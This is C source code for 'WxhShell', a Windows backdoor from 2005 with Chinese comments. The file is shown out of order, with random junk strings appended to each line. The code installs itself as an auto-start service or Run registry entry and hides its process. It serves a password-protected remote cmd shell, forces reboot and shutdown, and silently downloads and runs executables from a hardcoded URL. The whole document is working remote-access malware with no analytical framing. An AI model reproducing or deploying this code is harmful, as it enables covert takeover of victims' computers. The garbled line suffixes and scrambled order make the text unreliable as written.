    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =""z!%j  
    if(Boot(SHUTDOWN)) P9)E1]Dc$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z.b}   
    else { P,x'1 `k~  
    closesocket(wsh); TX96 ^EoH  
    ExitThread(0); Zxm Mw  
    } Zz<k^  
    break; hpD\,  
    } FYI*44E  
  // 获取shell hE41$9?TJ  
  case 's': { F_9eju^|  
    CmdShell(wsh); d;3/Vr$t=  
    closesocket(wsh); 6q[|U_3I@  
    ExitThread(0); (cX;a/BR  
    break; k !S0-/ h  
  }  R\%&Q|  
  // 退出 2nW:|*:/p6  
  case 'x': { 3[g%T2&[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =l_B58wrx  
    CloseIt(wsh); )uvs%hK  
    break; @_Ko<fKSX  
    } "lcNjyU\O  
  // 离开 ZqhCGHy  
  case 'q': { #,0PLU3%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *OOi  
    closesocket(wsh); +/tN d2  
    WSACleanup(); @)A)cBv#  
    exit(1); 42a.@JbLQ  
    break; j@xerY  
        } ]Q Y:t:-  
  } IJxBPwh  
  } nyyKA_#:5  
"+oP((9  
  // 提示信息 L*xu<(>K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `ZCeuOH  
} ^ lrq`1k  
  } (!72Eaw:]  
.E'Tfa  
  return; WoVPp*zlX  
} M ABrf`<b  
eI8rnp( Ia  
// shell模块句柄 cFcn61x-  
int CmdShell(SOCKET sock) rBd}u+:*  
{ :+%"kgJNL  
STARTUPINFO si; 4K_rL{s0U  
ZeroMemory(&si,sizeof(si)); 'Vwsbm tY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zj@k3y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Arg604V3  
PROCESS_INFORMATION ProcessInfo; ~)\9f 1O{^  
char cmdline[]="cmd"; A"(XrL-pV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9yU(ei:GUo  
  return 0; :6k8\{^9"D  
} RRW/.y  
u@j]U|FpY  
// 自身启动模式 )HHG3cvU  
int StartFromService(void) fqoI(/RWP  
{ S VCTiG8t  
typedef struct &cnciEw1  
{ pCXceNFo  
  DWORD ExitStatus; +Bg$]~ T  
  DWORD PebBaseAddress; Lnin;0~{  
  DWORD AffinityMask; :fo.9J  
  DWORD BasePriority; ,$i2vGd  
  ULONG UniqueProcessId; zX{O"w  
  ULONG InheritedFromUniqueProcessId; SG:Fn8  
}   PROCESS_BASIC_INFORMATION; KIyhvY~  
Gk<M@d^hQ  
PROCNTQSIP NtQueryInformationProcess; h^yLmRL  
;VhilWaF-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h(q,-')l_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z+ch-L^K4  
}V20~ hi  
  HANDLE             hProcess; qH#?, sK ^  
  PROCESS_BASIC_INFORMATION pbi; F1m 1%  
*C/bf)w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;WydXQ}Q^  
  if(NULL == hInst ) return 0; eIZ7uSl  
yQAW\0`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y nD_:ZK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G@Ha t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *P\$<4l  
tM&O<6Y  
  if (!NtQueryInformationProcess) return 0; ]>j>bHG  
OVwcjhQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /y8=r"'G  
  if(!hProcess) return 0; #~3$4j2U(y  
iME )Jl&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h(M_ K  
^^q9+0@  
  CloseHandle(hProcess); #%Z 0!  
3X &'hz@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O!uZykdX4!  
if(hProcess==NULL) return 0; K fM6(f:  
OZDd  
HMODULE hMod; D<V[:~-o  
char procName[255]; Y^Of  
unsigned long cbNeeded; DC9\Sp?  
<1t.f}}uX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T0:%,o  
I&2)@Zw  
  CloseHandle(hProcess); }XOTK^YA  
C)x>/Qr~  
if(strstr(procName,"services")) return 1; // 以服务启动 47S1mxur  
A_h|f5  
  return 0; // 注册表启动 Z2Q'9C},m  
} Alo;kt@x  
w'[^RZW:j  
// 主模块 C?xah?Sk  
int StartWxhshell(LPSTR lpCmdLine) ElFiR ;   
{ $#z ` R;  
  SOCKET wsl; 49('pq?D  
BOOL val=TRUE; jN3K= MA  
  int port=0; ^{<!pvT  
  struct sockaddr_in door; BM~>=emc  
Sw1z^`  
  if(wscfg.ws_autoins) Install(); 2p^Jqp`$  
6]%SSq&  
port=atoi(lpCmdLine); ,,FO6+4f  
n(}cK@  
if(port<=0) port=wscfg.ws_port; %-lilo   
c0 I;8z`b  
  WSADATA data; %S`ygc}|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hg2a,EU\Z  
ILN Yh3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sJI" m'r=Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aXv[~  
  door.sin_family = AF_INET; ec8 iZ8h8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M0jC:*D`"  
  door.sin_port = htons(port); =d+~l  
)9pRT dT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oouhP1py,  
closesocket(wsl); +69[06F  
return 1; `G@(Z:]f,t  
} QPD[uJ(I  
`6No6.\J  
  if(listen(wsl,2) == INVALID_SOCKET) { 8QJ^@|7  
closesocket(wsl); "c9T4=]&t  
return 1; K2Z]MpLD  
} ES4[@RX  
  Wxhshell(wsl); *#n#J[  
  WSACleanup(); Z2t'?N|_  
5WlBe c@  
return 0; vtByCu5  
&c AFKYt  
} EDDld6O,  
;bYpMcH  
// 以NT服务方式启动 hL?"!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q PveG1+25  
{ Qhc>,v)  
DWORD   status = 0; Ii.0Bul  
  DWORD   specificError = 0xfffffff; OMY^'g%w  
 T)Uhp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,(;TV_@$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8wf[*6VwV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gN/kNck  
  serviceStatus.dwWin32ExitCode     = 0; IYG,nt !  
  serviceStatus.dwServiceSpecificExitCode = 0; o8RVmOXe  
  serviceStatus.dwCheckPoint       = 0; 7hzd.  
  serviceStatus.dwWaitHint       = 0; c,yjsxETW  
J4) ?hS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C j4ED  
  if (hServiceStatusHandle==0) return; :aO`q/d  
*3!#W|#=]N  
status = GetLastError(); Fkvf[!Ci  
  if (status!=NO_ERROR) =Hd+KvA  
{ w/oXFs&FK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s7Z+--I)L  
    serviceStatus.dwCheckPoint       = 0; _{C =d3  
    serviceStatus.dwWaitHint       = 0; n40&4n  
    serviceStatus.dwWin32ExitCode     = status; WSsX*L  
    serviceStatus.dwServiceSpecificExitCode = specificError; ev4f9Fhu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W2w A66MB  
    return; IaHu$` v  
  } NMvNw?]  
d#U~>wr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kSfNu{YS  
  serviceStatus.dwCheckPoint       = 0; rw }wQP_'  
  serviceStatus.dwWaitHint       = 0; `9`T,uJe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _'}Mg7,V  
} q; ?Kmk  
m\.(-  
// 处理NT服务事件,比如:启动、停止 2:jWO_V@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6JB* brO  
{ P+Q}bTb8  
switch(fdwControl) OpLo[Y\  
{ lJJ`aYDp  
case SERVICE_CONTROL_STOP: ">M:6\B  
  serviceStatus.dwWin32ExitCode = 0; &&>Tfzh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -)%g MD~z1  
  serviceStatus.dwCheckPoint   = 0; x4N*P  
  serviceStatus.dwWaitHint     = 0; =JGL~t?  
  { qa>H@`P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~(x"Y\PEu  
  } ^Z>Nbzr{  
  return; {3qlx1w  
case SERVICE_CONTROL_PAUSE: 2EC<8}CG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B1k;!@@1 4  
  break; }8Yu"P${Y  
case SERVICE_CONTROL_CONTINUE: V6!1(|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `L m9!?  
  break; 'E)g )@^  
case SERVICE_CONTROL_INTERROGATE: i `7(5L~`  
  break; ?m\? #  
}; K 9tr Iy$v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -%ftPfm  
} F T$x#>  
0x2[*pJ|IW  
// 标准应用程序主函数 <i ";5+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7?p>v34A  
{ Vv_lBYV  
=`OnFdI  
// 获取操作系统版本 Fql|0Fq  
OsIsNt=GetOsVer(); `9& ~fWu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J,D^fVIw  
QIC? `hk1  
  // 从命令行安装 |0nt u+  
  if(strpbrk(lpCmdLine,"iI")) Install(); %hVI*p3  
~[Z,:=z  
  // 下载执行文件 mO0}Go8  
if(wscfg.ws_downexe) { $2>"2*,04  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X<<FS%:+  
  WinExec(wscfg.ws_filenam,SW_HIDE); $g!iy'4n*  
} {:TOm0eK  
7srq~;j3  
if(!OsIsNt) { 560`R>  
// 如果时win9x,隐藏进程并且设置为注册表启动 bWg!/K55  
HideProc(); :zQNnq:|  
StartWxhshell(lpCmdLine); dfMi]rs!<  
} Lk]W?  
else <T`&NA@%~$  
  if(StartFromService()) ftaa~h*  
  // 以服务方式启动 )?<V-,D  
  StartServiceCtrlDispatcher(DispatchTable); FyWrb+_0v  
else B&"c:)1 C2  
  // 普通方式启动 .W51Cup@&  
  StartWxhshell(lpCmdLine); ;$g?W"  
7_~_$I~g*  
return 0;  x-s\0l  
} T_ga?G<  
>Q2kXwN  
34I;DUdcE  
a49t/  
===========================================  ay,"MJ2  
u+m9DNPF  
3XIL; 5  
Gg y7xb  
`4-m$ab  
9cQ;h37J>  
" '3iJq9  
}$` PZUw>  
#include <stdio.h> cuh Z_l  
#include <string.h> p?O6|q  
#include <windows.h> 'kHa_  
#include <winsock2.h> &HtG&RvQf  
#include <winsvc.h> w3FEX$`_  
#include <urlmon.h> D77s3AyHK  
"eIE5h  
#pragma comment (lib, "Ws2_32.lib") TGZr [  
#pragma comment (lib, "urlmon.lib") e3WEsD+  
v9 8s78  
#define MAX_USER   100 // 最大客户端连接数 F./P,hhN9  
#define BUF_SOCK   200 // sock buffer "h:#'y$V  
#define KEY_BUFF   255 // 输入 buffer hu 5o{8[  
&F.L*M  
#define REBOOT     0   // 重启 oA+'9/UY  
#define SHUTDOWN   1   // 关机 ut^6UdJ+`  
scPvuHzl  
#define DEF_PORT   5000 // 监听端口 &sooXKlv|  
0QY9vuhL<  
#define REG_LEN     16   // 注册表键长度 Ga\kvMtr  
#define SVC_LEN     80   // NT服务名长度 v+W4wD  
&#;lmYyaui  
// 从dll定义API wPvYnhr|G-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %']`t-N8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .>NPgd I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {yM@3v~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T~~K~a \8  
5z Pn-1uW  
// wxhshell配置信息 Q6r7UM  
struct WSCFG { >/'/^h  
  int ws_port;         // 监听端口 ]3d5kf  
  char ws_passstr[REG_LEN]; // 口令 oO9yI^  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~H:.&'E  
  char ws_regname[REG_LEN]; // 注册表键名 W)Mc$`nX  
  char ws_svcname[REG_LEN]; // 服务名 ?ajVf./Ja  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i2!0bY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GpCjoNcW{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .RPh#FI6J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .$xTX'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A5~OHmeK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nTHCb>,vM  
LZ8xh  
}; G|j8iV O  
%[OZ;q& X  
// default Wxhshell configuration 8u"HW~~=  
struct WSCFG wscfg={DEF_PORT, OBf$0  
    "xuhuanlingzhe", FSb4RuD9  
    1, 6SEq 2   
    "Wxhshell", !H(V%B%  
    "Wxhshell", $*C'{&2  
            "WxhShell Service", yc0_ 7Im?  
    "Wrsky Windows CmdShell Service", WQv`%%G2>  
    "Please Input Your Password: ", ^-,@D+eW  
  1, Nc*z?0wP  
  "http://www.wrsky.com/wxhshell.exe", f\~A72-  
  "Wxhshell.exe" P9M. J^<  
    }; l@g%A# _  
v\R-G  
// 消息定义模块 f`-UC_(;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |3Bms d/3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZdlQ}l#F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C;m*0#9D  
char *msg_ws_ext="\n\rExit."; 2Zr,@LC  
char *msg_ws_end="\n\rQuit."; is`~C  
char *msg_ws_boot="\n\rReboot..."; \vgM`32<  
char *msg_ws_poff="\n\rShutdown..."; [E0.4FLT!  
char *msg_ws_down="\n\rSave to "; R_Uy.0=4  
Sz>Lbs  
char *msg_ws_err="\n\rErr!"; Hli22~7T:  
char *msg_ws_ok="\n\rOK!"; tHFBLM  
!Aw.)<teW  
char ExeFile[MAX_PATH]; R T/)<RT9  
int nUser = 0; ]%+T+ zg(Y  
HANDLE handles[MAX_USER]; beFD}`  
int OsIsNt; !BN@cc[%  
J#?z/3v(  
SERVICE_STATUS       serviceStatus; 8b< 'jft  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !fG}<6&i  
QW2SFpE  
// 函数声明 %VS+?4ww  
int Install(void); KVPWJHGr  
int Uninstall(void); 4E@_Fn_#  
int DownloadFile(char *sURL, SOCKET wsh); VVk8z6 W  
int Boot(int flag); Ag} P  
void HideProc(void); S&NWZ:E3[  
int GetOsVer(void); newURb,-!  
int Wxhshell(SOCKET wsl); &e99P{\D  
void TalkWithClient(void *cs); !rff/0/x"  
int CmdShell(SOCKET sock); 40%<E  
int StartFromService(void); c.}#.-b8  
int StartWxhshell(LPSTR lpCmdLine); Xn%O .yM6  
"X\6tl7a|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dg4q+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jAfqC@e  
Dq`$3ZeA  
// 数据结构和表定义 y':65NMda  
SERVICE_TABLE_ENTRY DispatchTable[] = B[fbPrM  
{ )^m"fQ+  
{wscfg.ws_svcname, NTServiceMain}, R+ tQvxp#  
{NULL, NULL} CM;B{*En  
}; ) h=[7}|  
cnj32H^+  
// 自我安装 %nyZ=&u  
int Install(void) u|75r%p>  
{ t"X^|!hKIF  
  char svExeFile[MAX_PATH]; 0}WDB_L  
  HKEY key; 7|(o=+Bt  
  strcpy(svExeFile,ExeFile); fzzk#jU  
13f 'zx(AO  
// 如果是win9x系统,修改注册表设为自启动 h/..cVD,K  
if(!OsIsNt) { X;CRy,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9)D9'/{L#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tfVlIY<  
  RegCloseKey(key); UP*5M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O T .bXr~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U2jlDx4yg  
  RegCloseKey(key); nRcy`A%  
  return 0; 5QZ}KNJ|t~  
    } ;jFUtG  
  } d t^Hd]+^\  
} !nTI(--  
else { *`V r P  
R[}fr36>/  
// 如果是NT以上系统,安装为系统服务 !%/(a)B$^$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mLDuizWI  
if (schSCManager!=0) ozW\`  
{ OXF/4Oe  
  SC_HANDLE schService = CreateService -AwkP  
  ( ^ >#@qMw  
  schSCManager, =jvL2ps<  
  wscfg.ws_svcname, `Af5%m[  
  wscfg.ws_svcdisp, X08[,P#I  
  SERVICE_ALL_ACCESS, GB}!7W"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WMnxN34  
  SERVICE_AUTO_START, )3)x/WM  
  SERVICE_ERROR_NORMAL, lFa?l\jLXZ  
  svExeFile, ,e;_ Vb  
  NULL, afd.v$63  
  NULL, synueg  
  NULL, lA n^)EL  
  NULL, 7towjw r  
  NULL vCn\_Nu;W&  
  ); U+:Mu]97  
  if (schService!=0) [E9)Da_)i  
  { JN3&(t  
  CloseServiceHandle(schService); Gp2C wyv  
  CloseServiceHandle(schSCManager); NGmXF_kqN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o':K4r;  
  strcat(svExeFile,wscfg.ws_svcname); s,-}}6WO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B]:?4Ov  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7E;`1lh7  
  RegCloseKey(key); vGchKN~_  
  return 0; >f(M5v(D\  
    } q>[}JtXK  
  } (Ji=fh+  
  CloseServiceHandle(schSCManager); SyI i*dH  
} :Jo[bm  
} _^`TG]F  
%!]CP1S  
return 1; F{laA YE  
} ;n.SRy6  
VN]j*$5   
// 自我卸载 aEdc8i ?  
int Uninstall(void) spma\,o  
{ ftP]WGSS>  
  HKEY key; `bW0Va N  
)|KZGr  
if(!OsIsNt) { R*VEeLx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (>`S{L C>s  
  RegDeleteValue(key,wscfg.ws_regname); ]s` cn}d  
  RegCloseKey(key); LX m@h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /l;_ xs  
  RegDeleteValue(key,wscfg.ws_regname); )u]1j@Id  
  RegCloseKey(key); TmEh$M  
  return 0; 7x.] 9J  
  } UD_8#DO{m1  
} $LOf2kn  
} g|5cO3m0'  
else { '%*/iH6<U{  
/~P4<1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =Q4Wr0y><]  
if (schSCManager!=0) f!J?n]  
{ CQ'4 ".7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PKYm{wO-  
  if (schService!=0) z;\,Dt  
  { Aq_?8Cd  
  if(DeleteService(schService)!=0) { +Oc |Oo  
  CloseServiceHandle(schService); xOKf|  
  CloseServiceHandle(schSCManager); Xvxj-\ -  
  return 0; `$yi18F  
  } GSVLZF'+  
  CloseServiceHandle(schService); *ch7z|wo.  
  } G@rV9  
  CloseServiceHandle(schSCManager); fT5vO.a  
} .cs4AWml<  
} vUB*Qm]Y\  
u\u6< [>P  
return 1; @-XMox/  
} LcGG~P|ML  
a6hDw'8!  
// 从指定url下载文件 B0,C!??5  
int DownloadFile(char *sURL, SOCKET wsh) %[BOe4[  
{ }a!c  
  HRESULT hr; 8jz7t:0  
char seps[]= "/"; /<CgSW}  
char *token; ;qaNIOo9  
char *file; J['i  
char myURL[MAX_PATH]; Xe@:Aun  
char myFILE[MAX_PATH]; c? >;UzM  
d%#5roR4<  
strcpy(myURL,sURL); %APeQy"6#^  
  token=strtok(myURL,seps); Em/? 4&  
  while(token!=NULL) Sb?HRoe_  
  { 'y|p)r"  
    file=token; !XT2'6nu  
  token=strtok(NULL,seps); B X Et]+Q  
  } )u.%ycfeV  
W.?EjEx  
GetCurrentDirectory(MAX_PATH,myFILE); pW-aX)\DR  
strcat(myFILE, "\\"); D}nIF7r2N  
strcat(myFILE, file); "(vm0@8><  
  send(wsh,myFILE,strlen(myFILE),0); VIuzBmR|\  
send(wsh,"...",3,0); i:x<Vi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'nfdOX.d  
  if(hr==S_OK) c='uyx  
return 0; 2@:Ztt6~  
else jB3Rue:+g  
return 1; SlD7 \X&~  
1!A 'mkk8  
} fDKV`  
w %R=kY)o  
// 系统电源模块 )J1xO^tE  
int Boot(int flag) :F?L,I,K  
{ :F pt>g  
  HANDLE hToken; ah15 ,<j  
  TOKEN_PRIVILEGES tkp; 1U8/.x|  
1a'0cSH  
  if(OsIsNt) { htOVt\+!34  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k<k@Tlo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =S|dzgS/  
    tkp.PrivilegeCount = 1; l *+9R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 077 wk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~) vz`bD1  
if(flag==REBOOT) { 7t|011<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sEcg;LFp  
  return 0; 0[7tJbN  
} !^qpV7./l  
else { lnt}l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hGj`IAW  
  return 0; z;PF% F  
} T;{"lp.  
  } G>S3?jGk  
  else { )\QPUdOvx  
if(flag==REBOOT) { 5k`Df/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [*d<LAnuWP  
  return 0; P5oYv  
} #NQx(C  
else { -~&T0dt~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KdLj1T  
  return 0; UI74RP  
} -H"^;37T"  
} ^2"3h$DJfS  
"]x#kM  
return 1; ]I(<hDuRp  
} aU%QJ#j  
,`ju(ac!  
// win9x进程隐藏模块 qw}. QwPT  
void HideProc(void) !]=S A &  
{ ONm-zRx|  
[*^ rH:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YI+o:fGC5  
  if ( hKernel != NULL ) <Eh_  
  { WU{9lL=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |/~ISB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pU[5f5_  
    FreeLibrary(hKernel); oU)3du   
  } l'kVi  
YguY5z  
return; T!QAcO  
} {i/7Nx  
tJ Mm  
// 获取操作系统版本 }W5~89"  
int GetOsVer(void) I$JyAj  
{ _E4_k%8y  
  OSVERSIONINFO winfo; ;6{{hc4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s1 (UOd7}  
  GetVersionEx(&winfo); D@`"99z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .*nr3dY  
  return 1; {lNG:o  
  else i#(+Kxr]>  
  return 0; Y>I9o)KR  
} Mb(hdS90  
2R~[B]2"r  
// 客户端句柄模块 (n4Uc308  
int Wxhshell(SOCKET wsl) &f<Ltdw  
{ &-p!Lg&D  
  SOCKET wsh; `l+9g"q  
  struct sockaddr_in client; |]tsf /SA  
  DWORD myID; z9ZS& =>  
t9[%o=N~lD  
  while(nUser<MAX_USER) \_AoG8B  
{ DUyUA'*4n|  
  int nSize=sizeof(client);  n[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !b'!7p  
  if(wsh==INVALID_SOCKET) return 1; (]sk3 A  
R/kfbV-b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AJ)N?s-=  
if(handles[nUser]==0) Zr$D\(hX  
  closesocket(wsh); C&&33L  
else /[UuHU5*R  
  nUser++; #gRtCoew  
  } (zIF2qY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]QmY`pTB`  
1owe'7\J  
  return 0; 0l~z0pvT  
} i z dJ,8  
]vq=~x  
// 关闭 socket '2v$xOh!y  
void CloseIt(SOCKET wsh) ;-!O+c  
{ -ei+r#  
closesocket(wsh); [<IJ{yfx  
nUser--; -59;Zn/  
ExitThread(0); ;  8u5  
} uAv'%/  
l8RKwECdPn  
// 客户端请求句柄 I0(nRu<  
void TalkWithClient(void *cs) VpWpC&  
{ V;1i/{  
Cp^%;(@  
  SOCKET wsh=(SOCKET)cs; iK9#{1BpML  
  char pwd[SVC_LEN]; y+P$}Nru  
  char cmd[KEY_BUFF]; +3o 4KB}  
char chr[1]; !l~3K(&4  
int i,j; i 2n66d  
`bcCj~j  
  while (nUser < MAX_USER) { 'T*h0xX  
~0Xx]  
if(wscfg.ws_passstr) { zmh5x{US1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); },vVc/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P*9L3R*=N  
  //ZeroMemory(pwd,KEY_BUFF); #4ii!ev  
      i=0; QS2~}{v  
  while(i<SVC_LEN) { ]hlYmT  
A?Gk8  
  // 设置超时 S")*~)N@  
  fd_set FdRead; YveNsn  
  struct timeval TimeOut; 'cvc\=p  
  FD_ZERO(&FdRead); |n\(I$  
  FD_SET(wsh,&FdRead); psB9~EU&Q  
  TimeOut.tv_sec=8; A3zO&4f ]  
  TimeOut.tv_usec=0; `sJv?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n^k Uu2g|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -0Q^k\X-  
eLyaTOZadu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rI4N3d;C  
  pwd=chr[0]; L+TM3*a*  
  if(chr[0]==0xd || chr[0]==0xa) { zq4)Uab*  
  pwd=0; JURJN+)z  
  break; JsbH'l  
  } (Q ~<>  
  i++; ZIvP?:=!  
    } F+::UWKA  
E/uKzzD9  
  // 如果是非法用户,关闭 socket aXyg`CDv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Mgc|>#=  
} :y(HOUB  
 iT&Y9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P>;uS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4dUr8]BkG  
J5*(PxDF  
while(1) { Xsv^GmP+  
eVujur$P  
  ZeroMemory(cmd,KEY_BUFF); t7b\#o  
a OTrng  
      // 自动支持客户端 telnet标准   AX2On}&bf  
  j=0; 9$e6?<`(Y  
  while(j<KEY_BUFF) { ]6TX)1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J)a^3>  
  cmd[j]=chr[0]; - u'5xn7  
  if(chr[0]==0xa || chr[0]==0xd) { L$s ;tJ   
  cmd[j]=0; h|Udw3N1L  
  break; &Un^ _M  
  } .GNl31f0  
  j++; _U/CG<n  
    } rc)vVv  
J-+p]xG  
  // 下载文件 /d]{ #,k  
  if(strstr(cmd,"http://")) { /2AeJH\-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q>[GD(8k  
  if(DownloadFile(cmd,wsh)) %2`geN<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wNhtw'E8  
  else g)#.|d+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~4[4"Pi>|  
  } BSbi.@@tp  
  else { I85bzzZB  
R.B3  
    switch(cmd[0]) { 6qp' _?  
  NlV,] $L1T  
  // 帮助 6o^sQ(]  
  case '?': { !ie'}|c  
